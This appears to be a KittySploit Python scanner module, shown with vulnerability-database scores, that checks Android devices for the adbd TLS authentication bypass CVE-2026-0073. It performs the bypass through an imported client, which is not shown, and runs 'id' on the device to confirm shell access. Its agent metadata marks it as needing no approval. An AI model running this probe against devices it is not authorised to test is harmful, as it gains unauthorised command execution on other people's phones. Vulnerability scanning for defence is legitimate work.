Android adbd TLS auth bypass CVE-2026-0073 detection
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detect Android adbd STLS/TLS auth bypass CVE-2026-0073."""
import ssl
from kittysploit import *
from core.framework.option import OptPort
from lib.protocols.adb.adb_tls import (
AdbAuthPathError,
AdbError,
AdbTlsAuthBypassClient,
)
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
class Module(Scanner, Tcp_scanner_client):
__info__ = {
"name": "Android adbd TLS auth bypass CVE-2026-0073 detection",
"description": (
"Checks Android adbd over TCP for the STLS/TLS authentication bypass path "
"and confirms command execution with a harmless id probe."
),
"author": ["KittySploit Team"],
"severity": "critical",
"cve": "CVE-2026-0073",
"modules": [
"exploits/android/adb/adbd_tls_auth_bypass_cve_2026_0073"],
"tags": ["scanner", "tcp", "android", "adb", "adbd", "auth-bypass"],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'admin_surface', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': []},
},
}
port = OptPort(5555, "Target adbd TCP port", True)
timeout = OptPort(10, "Probe timeout in seconds", False, advanced=True)
def run(self):
host = self._host()
if not host:
return False
client = AdbTlsAuthBypassClient(host, self._port(), self._timeout())
try:
client.authenticate()
output = client.run_command("id").strip()
except AdbAuthPathError as e:
self.set_info(severity="low", reason=str(e))
return False
except (AdbError, OSError, TimeoutError, ConnectionError, ssl.SSLError) as e:
self.set_info(severity="unknown", reason=str(e))
return False
except Exception as e:
self.set_info(severity="unknown", reason=str(e))
return False
finally:
client.close()
if "uid=" not in output:
self.set_info(
severity="high",
cve="CVE-2026-0073",
reason="STLS/TLS bypass reached an ADB shell, but id output was not recognized",
)
return True
self.set_info(
severity="critical",
cve="CVE-2026-0073",
reason=f"ADB TLS auth bypass confirmed on {host}:{self._port()}",
proof=output[:200],
)
return True
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05 Aug 2026 13:34Current
8High risk
Vulners AI Score8
CVSS 3.18.8
EPSS0.00541
SSVC